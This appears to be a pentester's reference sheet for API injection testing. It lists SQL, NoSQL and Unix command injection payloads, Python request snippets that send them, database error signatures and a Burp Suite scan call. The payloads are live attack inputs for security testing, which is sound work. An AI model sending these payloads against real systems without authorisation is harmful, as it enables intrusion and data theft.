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API Reference: API Injection Vulnerability Testing

OWASP API Security Top 10

# Risk Description
API1 Broken Object Level Auth Accessing other users' data
API2 Broken Authentication Weak auth mechanisms
API3 Broken Object Property Level Auth Mass assignment
API8 Security Misconfiguration Injection via misconfig
API10 Unsafe Consumption Server-side injection

SQL Injection Payloads

Error-Based

' OR '1'='1
' UNION SELECT NULL,NULL--
' AND 1=CONVERT(int,(SELECT TOP 1 table_name FROM information_schema.tables))--

Time-Based Blind

' AND SLEEP(5)--
' AND pg_sleep(5)--
'; WAITFOR DELAY '0:0:5'--

NoSQL Injection Payloads

MongoDB Operator Injection

{"username": {"$ne": ""}, "password": {"$ne": ""}}
{"username": {"$gt": ""}}
{"username": {"$regex": "admin.*"}}

Where Clause Injection

{"$where": "this.password == 'test'"}

Command Injection Payloads

Unix

; id
| whoami
$(id)
`id`

Blind Command Injection

; sleep 5
| ping -c 5 127.0.0.1
$(sleep 5)

Python requests Library

GET with Parameters

import requests
resp = requests.get(url, params={"id": payload}, timeout=10, verify=False)

POST with JSON Body

resp = requests.post(url, json={"field": payload}, timeout=10)

Response Analysis

Attribute Usage
resp.status_code HTTP status
resp.text Response body
resp.elapsed.total_seconds() Response time
len(resp.content) Response size

Error Signatures

SQL Databases

Database Error Pattern
MySQL You have an error in your SQL syntax
PostgreSQL ERROR: syntax error at or near
MSSQL Unclosed quotation mark
Oracle ORA-01756
SQLite SQLITE_ERROR

Burp Suite API

Initiate Scan

POST https://burp:1337/v0.1/scan
Content-Type: application/json

{
  "urls": ["https://api.target.com/v1/users"],
  "scan_configurations": [{"name": "Audit checks - SQL injection"}]
}